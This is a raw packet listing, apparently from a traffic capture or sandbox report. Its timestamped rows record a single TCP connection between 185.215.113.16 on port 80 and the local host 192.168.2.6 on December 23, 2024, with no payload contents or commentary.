Dec 23, 2024 09:00:43.613727093 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.613789082 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.614578009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.614795923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.614862919 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.615606070 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.615655899 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.615816116 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.616666079 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.617050886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.617122889 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.617696047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.617749929 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.617841959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.618716955 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.618834019 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.618863106 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.626621008 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.648391008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.648523092 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.648534060 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.648866892 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.649169922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.649279118 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.649912119 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.650062084 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.650063992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.650886059 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.651073933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.651129007 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.651940107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.652160883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.652231932 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.652952909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.653012037 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.653105974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.653965950 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.654146910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.654196024 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.654999971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.655090094 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.655172110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.656080961 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.656239033 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.656295061 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.657052040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.657121897 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.657202959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.706697941 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.715993881 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.716027975 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.716097116 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.716221094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.716470003 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.717398882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.717442989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.717490911 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.717490911 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.718270063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.718473911 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.718794107 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.719290972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.719472885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.720325947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.720391035 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.720511913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.720617056 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.721373081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.721528053 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.722382069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.722462893 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.722548008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.722599983 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.723440886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.723614931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.724450111 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.724534035 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.724622965 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.725533962 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.725609064 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.777949095 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.778096914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.778203011 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.778379917 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.778739929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.779465914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.779519081 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.779619932 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.779697895 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.780462980 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.780862093 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.780997038 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.781157017 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.781840086 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.781886101 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.782004118 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.782892942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.783020020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.783055067 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.783916950 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.784071922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.784142017 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.784938097 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.784993887 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.785079956 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.786004066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.786113977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.786164999 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.786963940 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.787022114 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.787138939 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.788012981 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.788152933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.788203955 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.789062023 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.789223909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.789269924 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.790124893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.790179014 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.790268898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.791127920 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.791263103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.791310072 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.792151928 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.792191029 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.792325974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.793201923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.793292999 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.793370008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.794219971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.794306993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.794444084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.795241117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.795372963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.795439959 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.796281099 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.796458006 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.796494007 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.797350883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.797420025 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.797528982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.798330069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.798501015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.798547983 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.799459934 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.799534082 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.799633980 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.800411940 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.800470114 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.800590038 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.801418066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.801578045 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.801709890 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.802467108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.802524090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.802634954 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.803476095 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.803659916 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.803915024 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.804508924 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.804702044 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.805027008 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.805538893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.805742025 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.805802107 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.806704998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.806842089 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.807087898 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.807657957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.807796955 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.807879925 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.808628082 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.808753967 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.808790922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.809674978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.809853077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.809941053 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.810940027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.811017036 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.811074972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.819475889 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.840132952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.840256929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.840362072 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.840411901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.840550900 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.840671062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.841474056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.841736078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.841845989 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.842485905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.842650890 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.842750072 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.843774080 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.843851089 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.843940020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.844780922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.844913960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.844959974 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.845652103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.845700026 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.845757008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.846596956 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.846648932 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.846779108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.847630978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.847809076 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.847811937 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.848638058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.848819971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.848963022 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.849651098 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.849701881 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.908181906 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.908354998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.908488989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.908536911 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.908714056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.909454107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.909583092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.909626961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.909626961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.910491943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.910691977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.911511898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.911647081 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.911679029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.912537098 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.912647963 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.912720919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.912825108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.913588047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.913742065 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.914602995 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.914658070 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.914791107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.915661097 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.915819883 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.915828943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.915899992 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.916681051 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.916868925 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.917669058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.917735100 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.930578947 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.969872952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.970001936 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.970092058 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.970118046 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.970388889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.970439911 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.971124887 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.971328974 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.971777916 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.972167015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.972327948 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.972397089 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.972898960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.973089933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.973136902 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.973933935 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.974140882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.974220037 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.974968910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.975295067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.975406885 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.976010084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.976185083 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.977092028 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.977281094 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.977309942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.977375031 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.978049040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.978250027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.979084015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.979149103 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.979280949 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.980144978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.980216980 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.980345011 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.980407000 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.981175900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.981332064 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.982203007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.982342005 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.982371092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.982424021 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.983205080 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.983393908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.984256029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.984385967 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.984505892 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.985304117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.985421896 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.985441923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.985486031 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.986346960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.986511946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.987433910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.987502098 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.987538099 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.987606049 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.988465071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.988593102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.988655090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.989460945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.989773035 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.989882946 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.990447998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.990643978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.990773916 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.991465092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.991658926 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.992480993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.992604017 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.992724895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.992818117 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.993521929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.993779898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.994569063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.994657993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.994781017 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.994823933 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.995631933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.995810032 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.995873928 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.996654987 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.996855021 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.997127056 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.997705936 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.997869015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.997975111 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.998725891 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.998883009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.998986006 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.999723911 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.999928951 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:44.000055075 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:44.000782013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:44.000943899 CET	80	49794	185.215.113.16	192.168.2.6
